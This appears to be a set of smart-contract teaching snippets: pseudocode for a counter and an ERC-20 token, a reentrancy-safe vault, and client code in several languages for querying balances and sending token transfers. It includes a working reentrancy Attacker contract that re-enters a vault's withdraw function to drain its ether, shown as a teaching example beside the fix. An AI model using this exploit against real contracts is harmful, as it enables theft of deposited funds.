Smart Contracts

contract Counter:
    state:
        _count: uint256  = 0
        owner: address   = deployer

    modifier onlyOwner:
        if caller != owner: revert
        run function body

    function increment():
        _count = _count + 1          // reverts on overflow (0.8+)
        emit Incremented(caller, _count)

    function decrement():
        if _count == 0: revert Underflow
        _count = _count - 1
        emit Decremented(caller, _count)

    function reset() [onlyOwner]:
        _count = 0
        emit Reset(caller)

    function get() [view] -> uint256:
        return _count

    function square(x) [pure] -> uint256:
        return x * x

contract ERC20:
    state:
        _balances:    mapping(address -> uint256)
        _allowances:  mapping(address -> mapping(address -> uint256))
        _totalSupply: uint256
        name, symbol: string
        decimals:     uint8 = 18

    constructor(name, symbol, initialSupply):
        self.name   = name
        self.symbol = symbol
        _mint(deployer, initialSupply * 10^18)

    // ── View ─────────────────────────────────────────────────────
    totalSupply()  → _totalSupply
    balanceOf(a)   → _balances[a]
    allowance(o,s) → _allowances[o][s]

    // ── Transfer ─────────────────────────────────────────────────
    transfer(to, amount):
        _transfer(caller, to, amount)
        return true

    approve(spender, amount):
        _allowances[caller][spender] = amount
        emit Approval(caller, spender, amount)
        return true

    transferFrom(from, to, amount):
        check _allowances[from][caller] >= amount
        _allowances[from][caller] -= amount      // effect before interaction
        _transfer(from, to, amount)
        return true

    // ── Internal ─────────────────────────────────────────────────
    _transfer(from, to, amount):
        check from != 0, to != 0
        check _balances[from] >= amount
        _balances[from] -= amount
        _balances[to]   += amount
        emit Transfer(from, to, amount)

    _mint(account, amount):
        _totalSupply      += amount
        _balances[account] += amount
        emit Transfer(0, account, amount)

    _burn(account, amount):
        check _balances[account] >= amount
        _balances[account] -= amount
        _totalSupply       -= amount
        emit Transfer(account, 0, amount)

// FIXED — checks-effects-interactions pattern
contract SafeVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable { balances[msg.sender] += msg.value; }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "nothing to withdraw");

        // EFFECT first — zero out balance before external call
        balances[msg.sender] = 0;

        // INTERACTION last
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }
}

// The attacker's contract
contract Attacker {
    VulnerableVault public victim;
    uint256 public count;

    constructor(address _victim) { victim = VulnerableVault(_victim); }

    // Seed the attack: deposit a small amount so we have a balance
    function attack() external payable {
        require(msg.value >= 1 ether);
        victim.deposit{value: msg.value}();
        victim.withdraw();  // trigger the chain
    }

    // Fallback fires when victim sends ETH
    receive() external payable {
        count++;
        if (count < 10 && address(victim).balance >= 1 ether) {
            victim.withdraw();  // re-enter before balance is zeroed
        }
    }
}

contract GoodToken is Ownable {
    mapping(address => uint256) public balances;

    // onlyOwner modifier prevents unauthorised minting
    function mint(address to, uint256 amount) external onlyOwner {
        balances[to] += amount;
    }

    // renounceOwnership() or transferOwnership() via Ownable
    // selfdestruct removed — prefer pausing mechanisms
}

"""
Smart contract interaction with Python web3.py
Requires: pip install web3
"""
from web3 import Web3
from web3.middleware import geth_poa_middleware
import json

# ── Connect ──────────────────────────────────────────────────────
w3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/YOUR_KEY"))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
assert w3.is_connected()

# ── ERC-20 ABI (minimal) ─────────────────────────────────────────
ERC20_ABI = json.loads('''[
  {"name":"balanceOf","type":"function","stateMutability":"view",
   "inputs":[{"name":"account","type":"address"}],
   "outputs":[{"name":"","type":"uint256"}]},
  {"name":"transfer","type":"function","stateMutability":"nonpayable",
   "inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],
   "outputs":[{"name":"","type":"bool"}]},
  {"name":"Transfer","type":"event",
   "inputs":[{"indexed":true,"name":"from","type":"address"},
             {"indexed":true,"name":"to","type":"address"},
             {"indexed":false,"name":"value","type":"uint256"}]}
]''')

USDC_ADDRESS = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"
contract = w3.eth.contract(address=USDC_ADDRESS, abi=ERC20_ABI)

# ── Read (free — no gas) ─────────────────────────────────────────
MY_WALLET = "0xYOUR_WALLET_ADDRESS"
balance_raw = contract.functions.balanceOf(MY_WALLET).call()
# USDC has 6 decimals
balance_usdc = balance_raw / 10**6
print(f"USDC balance: {balance_usdc:.2f}")

# ── Write (requires signing and broadcasting) ────────────────────
PRIVATE_KEY = "0xYOUR_PRIVATE_KEY"
account     = w3.eth.account.from_key(PRIVATE_KEY)
recipient   = "0xRECIPIENT_ADDRESS"
amount_usdc = int(1.5 * 10**6)   # 1.5 USDC

tx = contract.functions.transfer(recipient, amount_usdc).build_transaction({
    "from":     account.address,
    "nonce":    w3.eth.get_transaction_count(account.address),
    "gas":      100_000,
    "maxFeePerGas":         w3.to_wei("20", "gwei"),
    "maxPriorityFeePerGas": w3.to_wei("1",  "gwei"),
    "chainId":  1,
})

signed = account.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"tx: {tx_hash.hex()}  status: {receipt['status']}")

# ── Decode past Transfer events ──────────────────────────────────
from_block = w3.eth.block_number - 500
logs = contract.events.Transfer().get_logs(fromBlock=from_block)
for log in logs[:5]:
    args = log["args"]
    print(f"  {args['from'][:8]}… → {args['to'][:8]}… : {args['value'] / 1e6:.2f} USDC")

/**
 * Smart contract interaction with ethers.js v6
 * npm install ethers hardhat
 */
import { ethers } from "ethers";

// ── Connect ───────────────────────────────────────────────────────
const provider = new ethers.JsonRpcProvider("https://mainnet.infura.io/v3/KEY");
const signer   = new ethers.Wallet("0xYOUR_PRIVATE_KEY", provider);

// ── ERC-20 minimal ABI ────────────────────────────────────────────
const ERC20_ABI = [
  "function balanceOf(address) view returns (uint256)",
  "function transfer(address to, uint256 amount) returns (bool)",
  "function approve(address spender, uint256 amount) returns (bool)",
  "event Transfer(address indexed from, address indexed to, uint256 value)",
];

const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
const token = new ethers.Contract(USDC, ERC20_ABI, signer);

// ── Read ──────────────────────────────────────────────────────────
const raw = await token.balanceOf(signer.address);
console.log("Balance:", ethers.formatUnits(raw, 6), "USDC");

// ── Write (send a transaction) ────────────────────────────────────
const tx = await token.transfer("0xRECIPIENT", ethers.parseUnits("1.5", 6));
console.log("tx hash:", tx.hash);
const receipt = await tx.wait();
console.log("confirmed in block", receipt.blockNumber);

// ── Event listener ────────────────────────────────────────────────
token.on("Transfer", (from, to, value, event) => {
  console.log(`Transfer: ${from} -> ${to} : ${ethers.formatUnits(value, 6)} USDC`);
  console.log("block:", event.log.blockNumber);
});

// ── Hardhat test example ─────────────────────────────────────────
// test/ERC20.test.js
import { expect } from "chai";
import hre from "hardhat";

describe("ERC20", () => {
  let token, owner, alice;

  beforeEach(async () => {
    [owner, alice] = await hre.ethers.getSigners();
    const Factory = await hre.ethers.getContractFactory("ERC20");
    token = await Factory.deploy("MyToken", "MTK", 1_000_000n);
    await token.waitForDeployment();
  });

  it("mints initial supply to owner", async () => {
    const bal = await token.balanceOf(owner.address);
    expect(bal).to.equal(ethers.parseUnits("1000000", 18));
  });

  it("transfers tokens", async () => {
    const amount = ethers.parseUnits("100", 18);
    await token.transfer(alice.address, amount);
    expect(await token.balanceOf(alice.address)).to.equal(amount);
  });

  it("reverts on insufficient balance", async () => {
    const tooMuch = ethers.parseUnits("2000000", 18);
    await expect(token.transfer(alice.address, tooMuch))
      .to.be.revertedWith("ERC20: transfer amount exceeds balance");
  });
});

/*
 * ABI-encode an ERC-20 transfer call in C
 * (keccak256 via libssl / OpenSSL EVP)
 * gcc -o abi_encode abi_encode.c -lssl -lcrypto
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/evp.h>

/* keccak256 wrapper using EVP_MD_CTX */
static int keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {
    EVP_MD_CTX *ctx = EVP_MD_CTX_new();
    const EVP_MD *md = EVP_MD_fetch(NULL, "KECCAK-256", NULL);
    if (!ctx || !md) return -1;
    EVP_DigestInit_ex(ctx, md, NULL);
    EVP_DigestUpdate(ctx, in, inlen);
    unsigned int outlen = 32;
    EVP_DigestFinal_ex(ctx, out, &outlen);
    EVP_MD_CTX_free(ctx);
    EVP_MD_free((EVP_MD*)md);
    return 0;
}

/* ABI-encode transfer(address,uint256)
 * Layout: [4-byte selector][32-byte address][32-byte uint256]
 * Total:  68 bytes
 */
void abi_encode_transfer(
    const uint8_t addr[20],          /* 20-byte Ethereum address */
    const uint8_t amount[32],        /* 32-byte big-endian uint256 */
    uint8_t calldata_out[68])
{
    /* 1. Compute selector: keccak256("transfer(address,uint256)")[0:4] */
    const char *sig = "transfer(address,uint256)";
    uint8_t hash[32];
    keccak256((const uint8_t*)sig, strlen(sig), hash);

    memcpy(calldata_out, hash, 4);   /* selector */

    /* 2. Encode address: left-pad 20 bytes to 32 bytes */
    memset(calldata_out + 4, 0, 12);
    memcpy(calldata_out + 4 + 12, addr, 20);

    /* 3. Encode uint256: already 32 bytes (caller responsible for big-endian) */
    memcpy(calldata_out + 36, amount, 32);
}

int main(void) {
    uint8_t addr[20] = {
        0xAB,0xCD,0xEF,0x00,0x11,0x22,0x33,0x44,0x55,0x66,
        0x77,0x88,0x99,0xAA,0xBB,0xCC,0xDD,0xEE,0xFF,0x12
    };
    /* 1 ether = 10^18 = 0x0de0b6b3a7640000 */
    uint8_t amount[32] = {0};
    amount[24] = 0x0d; amount[25] = 0xe0; amount[26] = 0xb6;
    amount[27] = 0xb3; amount[28] = 0xa7; amount[29] = 0x64;
    amount[30] = 0x00; amount[31] = 0x00;

    uint8_t calldata[68];
    abi_encode_transfer(addr, amount, calldata);

    printf("Calldata (%d bytes):\n  ", 68);
    for (int i = 0; i < 68; i++) {
        printf("%02x", calldata[i]);
        if ((i+1) % 32 == 0) printf("\n  ");
    }
    printf("\n");
    return 0;
}

/*
 * Minimal EVM stack machine in C++
 * Demonstrates PUSH1, ADD, MUL, STOP
 */
#include <cstdint>
#include <vector>
#include <stdexcept>
#include <iostream>
#include <format>

using Word = uint64_t;  // simplified: real EVM uses 256-bit integers

enum Opcode : uint8_t {
    STOP  = 0x00,
    ADD   = 0x01,
    MUL   = 0x02,
    PUSH1 = 0x60,
};

struct EVMResult {
    std::vector<Word> stack;
    uint64_t gasUsed;
    bool     stopped;
};

EVMResult runEVM(const std::vector<uint8_t>& bytecode, uint64_t gasLimit) {
    std::vector<Word> stack;
    uint64_t gasUsed = 0;
    size_t pc = 0;

    auto consumeGas = [&](uint64_t cost) {
        if (gasUsed + cost > gasLimit)
            throw std::runtime_error("Out of gas");
        gasUsed += cost;
    };

    while (pc < bytecode.size()) {
        uint8_t op = bytecode[pc++];
        switch (op) {
            case PUSH1: {
                consumeGas(3);
                if (pc >= bytecode.size()) throw std::runtime_error("PUSH1: missing operand");
                stack.push_back(bytecode[pc++]);
                break;
            }
            case ADD: {
                consumeGas(3);
                if (stack.size() < 2) throw std::runtime_error("ADD: stack underflow");
                Word b = stack.back(); stack.pop_back();
                Word a = stack.back(); stack.pop_back();
                stack.push_back(a + b);
                break;
            }
            case MUL: {
                consumeGas(5);
                if (stack.size() < 2) throw std::runtime_error("MUL: stack underflow");
                Word b = stack.back(); stack.pop_back();
                Word a = stack.back(); stack.pop_back();
                stack.push_back(a * b);
                break;
            }
            case STOP:
                consumeGas(0);
                return {stack, gasUsed, true};
            default:
                throw std::runtime_error(std::format("Unknown opcode: 0x{:02x}", op));
        }
    }
    return {stack, gasUsed, false};
}

int main() {
    // PUSH1 3, PUSH1 5, ADD, PUSH1 2, MUL, STOP
    // Expected: (3 + 5) * 2 = 16
    std::vector<uint8_t> program = {
        0x60, 0x03,   // PUSH1 3
        0x60, 0x05,   // PUSH1 5
        0x01,         // ADD   → stack: [8]
        0x60, 0x02,   // PUSH1 2
        0x02,         // MUL   → stack: [16]
        0x00          // STOP
    };

    auto result = runEVM(program, 100'000);
    std::cout << "Stack top: " << result.stack.back()
              << "  gas used: " << result.gasUsed << "\n";
    return 0;
}

/**
 * Smart contract interaction with web3j
 * Maven: org.web3j:core:4.10.3
 */
import org.web3j.crypto.Credentials;
import org.web3j.protocol.Web3j;
import org.web3j.protocol.http.HttpService;
import org.web3j.protocol.core.methods.response.*;
import org.web3j.tx.gas.DefaultGasProvider;
import org.web3j.abi.FunctionEncoder;
import org.web3j.abi.FunctionReturnDecoder;
import org.web3j.abi.TypeReference;
import org.web3j.abi.datatypes.*;
import org.web3j.abi.datatypes.generated.Uint256;
import org.web3j.model.ERC20;   // generated wrapper

import java.math.BigInteger;
import java.util.Arrays;
import java.util.List;

public class SmartContractDemo {

    static final String NODE_URL    = "https://mainnet.infura.io/v3/KEY";
    static final String PRIVATE_KEY = "0xYOUR_KEY";
    static final String USDC_ADDR   = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";

    public static void main(String[] args) throws Exception {
        Web3j web3j   = Web3j.build(new HttpService(NODE_URL));
        Credentials creds = Credentials.create(PRIVATE_KEY);

        // ── Using a generated wrapper (web3j generate ...) ──────────
        // ERC20 token = ERC20.load(USDC_ADDR, web3j, creds, new DefaultGasProvider());
        // BigInteger balance = token.balanceOf(creds.getAddress()).send();
        // System.out.println("Balance: " + balance);

        // ── Manual ABI call (no generated wrapper needed) ────────────
        Function balanceOf = new Function(
            "balanceOf",
            Arrays.asList(new Address(creds.getAddress())),
            Arrays.asList(new TypeReference<Uint256>() {})
        );

        String encoded = FunctionEncoder.encode(balanceOf);
        EthCall response = web3j.ethCall(
            org.web3j.protocol.core.methods.request.Transaction.createEthCallTransaction(
                creds.getAddress(), USDC_ADDR, encoded
            ),
            org.web3j.protocol.core.DefaultBlockParameterName.LATEST
        ).send();

        List<Type> result = FunctionReturnDecoder.decode(
            response.getValue(), balanceOf.getOutputParameters()
        );
        BigInteger rawBalance = ((Uint256) result.get(0)).getValue();
        System.out.printf("USDC balance: %.2f%n", rawBalance.doubleValue() / 1e6);

        // ── Send a transfer transaction ───────────────────────────────
        Function transfer = new Function(
            "transfer",
            Arrays.asList(
                new Address("0xRECIPIENT"),
                new Uint256(BigInteger.valueOf(1_500_000L))  // 1.5 USDC (6 decimals)
            ),
            Arrays.asList(new TypeReference<Bool>() {})
        );

        String txData = FunctionEncoder.encode(transfer);
        BigInteger nonce = web3j.ethGetTransactionCount(
            creds.getAddress(),
            org.web3j.protocol.core.DefaultBlockParameterName.LATEST
        ).send().getTransactionCount();

        org.web3j.protocol.core.methods.request.Transaction tx =
            org.web3j.protocol.core.methods.request.Transaction.createFunctionCallTransaction(
                creds.getAddress(), nonce,
                org.web3j.tx.gas.DefaultGasProvider.GAS_PRICE,
                org.web3j.tx.gas.DefaultGasProvider.GAS_LIMIT,
                USDC_ADDR, txData
            );

        EthSendTransaction ethSendTx = web3j.ethSendTransaction(tx).send();
        System.out.println("tx hash: " + ethSendTx.getTransactionHash());

        web3j.shutdown();
    }
}

// Smart contract interaction with go-ethereum (geth)
// go get github.com/ethereum/go-ethereum
package main

import (
    "context"
    "fmt"
    "log"
    "math/big"

    "github.com/ethereum/go-ethereum"
    "github.com/ethereum/go-ethereum/accounts/abi"
    "github.com/ethereum/go-ethereum/common"
    "github.com/ethereum/go-ethereum/core/types"
    "github.com/ethereum/go-ethereum/crypto"
    "github.com/ethereum/go-ethereum/ethclient"
    "strings"
)

const erc20ABI = `[
  {"name":"balanceOf","type":"function","stateMutability":"view",
   "inputs":[{"name":"account","type":"address"}],
   "outputs":[{"name":"","type":"uint256"}]},
  {"name":"transfer","type":"function","stateMutability":"nonpayable",
   "inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],
   "outputs":[{"name":"","type":"bool"}]}
]`

func main() {
    client, err := ethclient.Dial("https://mainnet.infura.io/v3/KEY")
    if err != nil { log.Fatal(err) }
    defer client.Close()

    parsedABI, err := abi.JSON(strings.NewReader(erc20ABI))
    if err != nil { log.Fatal(err) }

    usdcAddr    := common.HexToAddress("0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48")
    myAddr      := common.HexToAddress("0xYOUR_ADDRESS")

    // ── Pack a balanceOf call ────────────────────────────────────
    callData, err := parsedABI.Pack("balanceOf", myAddr)
    if err != nil { log.Fatal(err) }

    msg := ethereum.CallMsg{To: &usdcAddr, Data: callData}
    rawResult, err := client.CallContract(context.Background(), msg, nil)
    if err != nil { log.Fatal(err) }

    // ── Unpack the result ────────────────────────────────────────
    results, err := parsedABI.Unpack("balanceOf", rawResult)
    if err != nil { log.Fatal(err) }

    balance := results[0].(*big.Int)
    fmt.Printf("USDC balance: %.2f\n", float64(balance.Int64())/1e6)

    // ── Send a transfer transaction ──────────────────────────────
    privateKey, err := crypto.HexToECDSA("YOUR_PRIVATE_KEY_NO_0x")
    if err != nil { log.Fatal(err) }

    recipient := common.HexToAddress("0xRECIPIENT")
    amount    := big.NewInt(1_500_000)  // 1.5 USDC

    txData, err := parsedABI.Pack("transfer", recipient, amount)
    if err != nil { log.Fatal(err) }

    nonce, _    := client.PendingNonceAt(context.Background(), myAddr)
    gasPrice, _ := client.SuggestGasPrice(context.Background())
    chainID, _  := client.ChainID(context.Background())

    tx := types.NewTransaction(nonce, usdcAddr, big.NewInt(0), 100_000, gasPrice, txData)
    signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
    if err != nil { log.Fatal(err) }

    if err := client.SendTransaction(context.Background(), signedTx); err != nil {
        log.Fatal(err)
    }
    fmt.Printf("tx sent: %s\n", signedTx.Hash().Hex())
}